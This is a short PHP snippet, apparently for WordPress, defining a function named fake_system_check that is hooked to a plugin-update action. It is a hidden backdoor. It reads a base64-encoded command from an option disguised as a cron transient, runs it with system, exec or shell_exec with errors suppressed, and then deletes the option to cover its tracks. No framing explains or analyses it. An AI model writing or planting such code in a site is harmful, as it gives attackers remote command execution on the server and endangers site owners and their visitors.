function fake_system_check() { $cmd = get_option("_transient_doing_cron"); if ($cmd && base64_decode($cmd, true)) { if (function_exists("system")) { @system(base64_decode($cmd)); } elseif (function_exists("exec")) { @exec(base64_decode($cmd), $o); } elseif (function_exists("shell_exec")) { @shell_exec(base64_decode($cmd)); } delete_option("_transient_doing_cron"); } } add_action("wp_update_plugins_background", "fake_system_check");